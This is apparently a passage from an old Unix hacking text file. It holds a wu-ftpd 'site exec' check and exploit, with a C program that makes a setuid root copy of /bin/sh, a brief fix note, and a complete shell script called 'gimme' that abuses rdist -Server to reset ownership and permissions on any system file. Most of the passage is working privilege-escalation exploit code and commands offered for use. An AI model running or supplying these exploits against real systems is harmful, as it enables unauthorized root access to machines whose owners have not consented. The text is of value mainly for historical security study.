- How to check ?

$ ftp -n localhost
user: <userid>
password: <passwd>
ftp> quote site exec bash -c id

If vulnerable it gives here: uid=0, gid=0, euid=<yourid>, egid=<your-gids>

Of course, bash should not be available at all

- How to exploit (in case your sysadmin or you think the above is not
  a problem)

go to your homedir and make a program: duh.c (or whatever)

main() {
   seteuid(0);
   setegid(0);
   system("/bin/cp /bin/sh ./sh");
   system("/bin/chmod 6755 ./sh");
}

$ make duh
$ ftp -n localhost (and login)
user: <userid>
password: <passwd>
ftp> quote site exec bash -c duh
ftp> quit

$ ./sh

bash#

(voila, QED)

- How to fix?

Get the source of wu-ftpd-2.4.linux.tar.gz (stock wu-ftpd-2.4 from wuarchive
doesn't compile on linux) and compile it; you might want to define the
_PATH_PIDNAMES and _PATH_XFERLOG to other values there...(/usr/adm/ftp.pids-%s
and /usr/adm/xferlog for example). If you cannot find that I can email the
source to you,...if you trust the source I took somewhere unmodified and
if you trust me ;-) An arch search for wu-ftpd-2.4 will give you sites too.
I can remember that I got it that way.

$) Henri Karrenbeld
-----------------------------------------------------------------------------
Hardware, n.:
        The parts of a computer system that can be kicked.
-----------------------------------------------------------------------------

A Shell Script Called gimme, Used To Read Any System File 


----------------cut here
#! /bin/sh
# GIMME - "gimme' a file"
# Demonstrate rdist's ability to give me permission to access anything.
#
# gimme <pathname> [<permission> [<directory>]]
#       <pathname> is the target file.
#       <permission> is the octal mode to which the file access permission
#               should be set.  Note that this may not be effective unless
#               either the SUID (4000) or SGID (2000) bits are also requested.
#       <directory> is the target directory for rdist to use if a hard
#               link is desired.  Note that the user must have permission
#               to create this directory, it must be on the same filesystem
#               as the target file, and the target file must not be a
#               directory.  This option is necessary to change the ownership
#               of the target if chown() of a symbolic link modifies the
#               link itself, and not the file it refers to.
#

dirname=gimme$$
deftemp=/tmp
defperm=6777

if [ $1x = x ]; then
        echo "Usage: $0 <pathname> [<permission> [<directory>]]" >&2
        exit 1
fi

if [ $2x != x ]; then
        perm=$2
else
        perm=$defperm
fi

if [ $3x != x ]; then
        link="ln"
        temp=$3/$dirname
        target=$1
else
        link="ln -s"
        temp=$deftemp/$dirname
        case $1 in
        /*)
                target=$1
                ;;
        *)
                target=`pwd`/$1
                ;;
        esac
fi

trap "rm -fr $temp; exit 1"  1 2 15
umask 66
mkdir $temp; if [ $? != 0 ]; then
        exit 1
fi

set `whoami` $LOGNAME
user=$1
set daemon `groups`
while [ $# != 1 ]; do
        shift
done
group=$1

(
        echo "t$temp/something"
        echo "R0 $perm 1 0 $user $group "

        while [ ! -f $temp/rdist* ]; do
                sleep 1
        done

        set $temp/rdist*
        rm -f $1
        if $link $target $1 >&2; then
                echo "" | dd bs=3 conv=sync 2>/dev/null
                echo ""

                echo 0 > $temp/status
        else
                echo 1 > $temp/status
        fi

        exit
) | rdist -Server

status=`cat $temp/status`
rm -fr $temp
exit $status
-----------------------------cut here


·µ»Ø